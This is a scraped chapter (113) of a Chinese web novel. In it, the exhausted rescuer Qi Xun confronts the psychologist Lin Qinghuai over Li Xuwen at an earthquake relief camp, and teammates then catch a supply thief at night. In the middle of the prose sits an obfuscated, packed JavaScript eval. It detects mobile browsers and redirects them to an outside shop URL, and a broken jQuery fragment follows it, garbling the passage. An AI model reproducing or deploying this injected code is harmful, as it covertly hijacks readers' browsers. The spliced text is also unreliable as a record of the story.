默认冷灰
24号文字
方正启体

113. 第 113 章

作者:岑昱本书字数:K更新时间:
    齐寻从混沌和崩散的梦境中挣脱出来时,外面已经入了夜。


    这针镇静药效极强,让他睡得浑浑噩噩,梦里又听见十年前那声求救,而他手里一直握着一根线,这才跌跌撞撞从里面爬出来。


    睁眼却不见那根线的归属,只有一个讨人嫌的男人,翻着手里的纸,坐在他床边。


    ……晦气。


    齐寻又闭上眼,想把林青淮熬走,却听见他说:“你手腕上有睡眠监控。”


    齐寻:“……”


    他抬起手看,果然见腕上绑着个小仪器。


    十指都已经被细致地包扎处理过,用的都是闻闻惯用的结。


    他心下稍安,想挣扎着起来,可稍一牵动,十指就跟断了似地钻心地疼。


    疼的当然不止手指——从进来震区起的每一场救援,都在将他的体力和精神缓消慢融,所有疲劳和损伤都在今天,跟着他的理智一起猝尔爆发、崩塌,连喘息的空间都没留给他。


    它们一拥而上,让从来善于忍耐的齐寻都闷哼了一声。


    “躺着吧,”林青淮道:“医疗组长也来看过了,说你这透支程度,起码要躺三天。”


    躺三天,那还不如直接回国。


    齐寻嗤了声,挡开林青淮要扶的手,勉力坐起来:“多谢。”


    “叙闻刚才一直在,”林青淮道:“是我看药效马上过了,把她劝走的。”


    “嗯,我听得见。”


    他听得见她为他包扎时候的抽泣和鼻音,守在他身边的呼吸声,还有她伏在床前,摸着他的头发,轻声的温软慰语。


    她一定吓坏了。


    齐寻掀开被子要下床,肩膀却被林青淮按住:“你没明白我的意思。”


    他看起来温文,手掌却极有力量:“我为什么让她先走,你没想过吗?”


    齐寻停下动作,目光警惕地看他:“你想说什么?”


    林青淮那双无情得近乎无机质的眼睛,借着帐中无处不在的雪亮灯光,静静地看着他。


    或者说,逼视他。


    “她的精神状态,比你想象得还要脆弱。”半晌,他慢慢放开手:“现在对她来说,问题已经不在于震区。”


    他推了推眼镜,下了诊断:“而在于你。”


    齐寻眉心猛地一挑。


    不是因为惊讶,而是因为这句话早就在刚刚的梦里扎了根。


    梦里她还在他面前无望地哭泣,所以这句话比他的意识更先清醒。


    他按下这些不安,冷笑了声:“那你的意思我该怎样?放弃她?”


    林青淮盯着他:“你不该吗?”


    “你休息时她简单跟我讲了你的前史,”他敲了敲手里的垫板,上面简单写了几行:“可就我的观察,你的反应远远超过我所掌握的信息。”


    齐寻无声地咽了咽,垂视他的笔记。


    大概是为了救他,闻闻把她所了解的一切,都告诉了林青淮。


    “你是不是还有事瞒着她?”林青淮问。


    齐寻放在身侧的手骤然握住床沿。


    他侧脸崩得极紧,线条在灯光中锋利如刀。


    “无论你相不相信,其实我对你本人并无微词。”林青淮说:“我只是本着专业的态度,想保证她的幸福和安全。”停了停,他又说:“因为那些残留的阴影,她吃了许多苦头。”


    齐寻霍然抬头:“她怎么了?”


    “我不能告诉你,”林青淮摇摇头:“我只能说,你们俩的阻力,比你想象得还要大得多。”


    他把垫板放到一边,语气称得上温柔:“相似的创伤会彼此吸引,但仍改变不了不合适的事实。她值得一个更平静的人生,你也是。”


    齐寻面色淡淡地听完,在耳边交错的声音和昏沉神思中笑了一声。


    “我跟她不合适,那谁合适?”他侧着脸睨他:“你吗?”


    林青淮像是没预料到他这么明确的敌意,停了一瞬,语气冷淡:“难道不是?”


    “还做梦呢,”齐寻哂笑:“你跟她认识在先,知道她很多过往和秘密,所以在她需要婚姻的时候,为什么没选你?”


    林青淮慢慢蹙起眉:“需要婚姻是什么意思?”


    “你不需要知道,”齐寻说:“你只要明白一点:如果你们有可能,那我根本没机会接近她,明白吗?”


    林青淮唇角收得平直,默了默,才说:“一个节点,并不能说明任何事,她的平安才重要。”


    “嗯,这就是我们的不同。”齐寻靠在篷布上,道:“你口口声声是为了她,可我跟她在一起,是因为我没她不行。”


    “不管什么原因,我都不可能放弃黎叙闻。”齐寻说:“让给你,就更加不可能。”


    林青淮抵着床边的小腿,渐渐漫上金属的冰凉。


    他拿过笔记,点头道:“看来你没大碍了,休息吧,别让她担心。”


    折叠椅在地上搓出一声刺耳声响,林青淮站起身来,却没立刻走,反而自上而下看着他。


    外人都说林老师温和得春风化雨,大概谁都没见过他这种冷淡得近乎厌恶的神情。


    他静默了一阵,道:“那个人可以不是我,但一定不能是你。”


    这句说完,他才终于理了理衣角皱褶,缓步离开了。


    ……


    这场莫名其妙的交锋又把齐寻拖入了沉沉的昏睡中,再醒来,帐篷里的灯已经全部熄了。


    身上的酸疼总算减轻了些,他稍微一动,床边立刻有人探过身,手掌覆上他额头:“感觉怎么样了?”


    齐寻鼻息中带出笑意:“好得很。”他把前额的手摘下来,攥进掌心:“你呢?”


    黎叙闻松了口气,才说:“我有什么。”


    他掌心的手指又潮又凉,好像刚握过什么湿淋淋的东西。


    这种触感他认得——当时黎叙闻目睹琳琳刺伤自己的父亲,陷入了长达好几个小时的解离,那时候她的手,就是这样潮凉。


    微薄的光亮从塑料窗户中投进来,被她挡在身后,表情昏暗得看不真切,可齐寻听得出来,她此时此刻,根本不平静。


    是因为担心他么,还是受了惊吓,仍没恢复好?


    黎叙闻见他不说话,又靠近了些,压低声音:“哪里疼吗?饿不饿?”


    她声音很疲惫,像是熬了一整天:“你不要动,要吃东西要喝水,我都喂你。”


    “闻闻,”齐寻忽然说:“你怕不怕?”


    黎叙闻迟疑了一下,笑着说:“怕什么?”


    齐寻凝视着她,没回答。


    “怕我”两个字卡在齿间,他怎么都问不出口。


    黎叙闻坐在他身边,担着一肩的月光,静静地望着他:“我只是怕你受伤了还瞒我。”


    “不会,”齐寻拇指轻轻蹭她手背:“今天我不是一回来就去找你了?”


    实际上那时候他已是强弩之末,绷着最后的理智清醒,想,找到她,找到她一切就都好了。


    可让他无比后悔的,同样是那一刻。


    ……不应该去找她,不应该让她看到那么鲜血淋漓的场面,不该告诉她下面有人没救出来。


    现在他又无能、又软弱,竟还好意思让她看见、替他背负。


    所以林青淮才会找来,跟他说那些话,迫不及待让他让位。


    齐寻无声地叹息,身体稍稍往床的侧边挪了挪,用手背拍拍身前的空隙:“睡一下。”


    “这床……”


    “这床是我采购的,能承住150公斤。”


    黎叙闻真的算了一下,问:“你有一百公斤吗?”


    齐寻失笑:“上来。”


    黎叙闻看了看周围,轻手轻脚地挪上床,把自己严丝合缝地团进他留出的空隙里。


    齐寻的手臂搭在她腰间,她又往后靠了靠,让自己脊背紧贴上他胸膛,腰间的手臂就懂了,用了些力气,把她圈在怀里。


    这具血脉涌动、线条贲张的身体,在她眼里,就是安全的代名词。


    他会用自己温韧结实的肌肉将她完全包裹,把一切危险都挡在外面。


    她吊了一整天的心,终于在这个怀抱里,沉甸甸地落了下来。


    紧绷的身体稍一放松,疲惫和困意立刻像湖水一样将她没顶。


    但她还惦记着有事没交代。


    “齐寻?”


    “嗯,在这。”


    “要不然你明天就回家吧,”黎叙闻困得声音都黏了,软软地糊成一团:“你的那份我帮你救,行不行?”


    齐寻听得满腔酸软,探头亲她耳后的小蛇:“说什么傻话?”


    黎叙闻闭着眼睛,眼看意识就要落入黑沉,还不放手:“我会救人,他们会教我的……”


    她尾音黏糊糊地散在空气里:“你不要难过,我们马上……马上就有挖掘机了……”


    齐寻紧紧将她搂在怀里,在这张单薄的折叠床上,他久违地感受到了活下去的执念。


    ——他绝对、绝对不能放弃她。


    一开始这念头只是她呓语点燃的一小簇火苗,但它一直在他心里持续不断地灼烧,烧得齐寻血流加速、浑身发疼。


    身前的人已经睡熟了,身体的起伏是他熟悉的曲线节奏,一下一下推着他的心脏。


    齐寻轻轻把手臂拿开,前心依然稳稳相贴,生怕动作大了把她惊醒。


    在确保她睡得香甜后,他慢慢给她盖上被子,亲亲她发顶,动作小心地下了床。


    还有一件事,他还没有料理。


    偷营养膏的真凶他必须抓到,才能让她安心地呆在微光。


    ……


    齐寻出了医疗区,借着被雨水洗亮的月光,一个人绕到了后勤组的帐篷后方。


    昨天物资搬来,晚上他留了心,并没发现什么动静。


    对方可能顾及大家的注意力全在那些物资上面,不好动手,或者说干脆就是没得到消息。


    偷窃的人,很可能根本就不在救援队里。


    经过一个白天的发酵,消息应该传得够远了,他听说已经有流离失所的幸存者过来讨要吃的。


    该知道的人都知道了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282085|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所以该动手的,也可以动手了。


    这时候已经接近三点,在大本营的人基本都睡了,值夜勤的也早已离开,本该是沉寂宁静的半夜。


    可他藏身的对面,有一点细碎的声响,在浓稠夜色中极为明显。


    ——来了!


    齐寻放轻脚步,无声无息地靠近对面。


    月色在一片亮白的地上,描摹出一个黢黑交叠的影子,在前方不安地晃动着。


    他活动了一下肩膀,往后退了两步,打算对方一有动作就立刻跟上,今天一定要抓个人赃并获。


    可那影子静了一阵,半张脸忽然从那头探了出来。


    对面竟然是大梁。


    齐寻:“……”


    大梁也惊了,悄声道:“白蛇?你咋在这?休息好了?”


    他侧身又探出两个脑袋来,都是他们A组的,看见他蓄势待发的姿势,都一副摸不着头脑的样子。


    齐寻好气又好笑,过去问:“干嘛呢你们?”


    “抓贼,”大梁挠挠头:“想着抓到了人,闻闻就能心安了。你呢?”


    齐寻笑了一声:“想到一块去了。”


    大梁低头看了眼:“你这手……”


    话音没落,帐篷门口忽然响起一阵类似衣物摩擦的声响。


    “嘘,”他摆了下手:“有人。”


    其余人瞬间屏息噤声,四双眼睛同时盯向前方。


    下一刻,一个穿着制服的瘦小背影从门口慢悠悠跨了出来。


    她手里还握着卫星电话,往四周谨慎地看了一圈,便借着夜色,几步消失在了众人的视线中。


    是应该今天值夜班的阿咩。


    大梁啧了声,抬脚要走,想上去拦住她,却被齐寻挡住。


    “不急,”他低声说:“再看看。”


    紧接着,帐篷的另一侧,又响起一阵轻而又轻的脚步声,踩着地上的尘土,沙沙作响。


    齐寻冲着身后一招手:“这回是了。”


    四个人猫着腰,借着一阵风带来的树叶摆动声,潜向那个罪魁祸首的背侧。


    对面显然也听到了动静,却竟然没跑,而是向着他们的方向来了。


    齐寻谨慎地停下脚步。


    不对……


    这衣服的料子……怎么听起来跟他们身上穿的一样?


    他拦住身后的人,然后眼睁睁地,看着医疗组长从阴影中走出来。


    齐寻:“……”


    今晚是不是所有微光的人都埋伏在这座帐篷周围?


    医疗组队也诧异:“哎?你们……”


    齐寻面无表情:“跟你一样。”


    月黑风高夜,这三波五个人迎着嗖嗖的冷风,同时在对方眼里读到了无语。


    “能行吗你说?”医疗组长压低了声音:“万一人家害怕,再不来了……”


    齐寻盯着暗处:“不会。”


    如果真的会害怕,对方从一开始就会来协商、恳求,而不是直接下手偷。


    “那边……”大梁眯着眼:“那、那是个人吗?”


    齐寻转头定睛一瞧,见一个穿黑色长袍的人,正猫着腰,借操场周围茂盛草木的遮掩,悄悄靠近后勤组的营帐。


    众人立刻隐入暗处,肃着脸紧张起来。


    “要抓现行,”齐寻说:“等他真的拿了东西,我们再追。”


    大家屏住呼吸,十只眼睛一瞬不瞬,看着那人极为小心地摸进了仓库帐篷。


    在他们站立地方的内侧,响起一阵窸窣的、翻东西的声音。


    医疗组长跟大梁对了个眼色:还挑呢。


    这人肯定有类似经验,不然不会那么精准,从一堆物资中偏偏拿走了最贵最难得的营养膏。


    不一会儿,翻动的声音停下,那人弯着腰,看姿势是把东西抱在怀里,静悄悄地从帐子里出来了。


    齐寻对剩下人一点头:追!


    他们甚至都没来得及迈步,指挥部那边的草丛中突然蹿出一个瘦小身影来,一路大叫着“贼!别跑!”,小炮弹似地直直冲向了那人!


    那人一回头,大惊失色,立刻加快脚步逃跑,可手上的东西还是死抱着不放。


    那影子跑得飞快,离他还差几步,竟原地弹射出去,把那人直接扑倒,死死按在地上:“小偷!小偷!”


    站在暗处的五个人在她豪气干云的喊声中,已经看呆了。


    齐寻诧异地目睹了这一场堪称竞速的抓捕,长叹了一声,上去叫她:“阿咩,行了,松开。”


    阿咩扒着那人不放:“我不!我不——诶?白蛇?”


    不止是白蛇,他身后还站着四个同僚呢。


    入睡的人被这阵骚乱惊醒,几个帐子纷纷亮起应急灯,大家都披着衣服跑出来,围观阿咩小小身板勇擒盗贼,抱着人家不撒手。


    包括刚刚睡了没一会儿的黎叙闻。


    阿咩顾不上丢脸,高兴地爬起来,跑到她身边:“闻姐,你看,我——”


    不等她指过去,趴在地上的小偷骤然发出了一声不似人的嚎叫!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)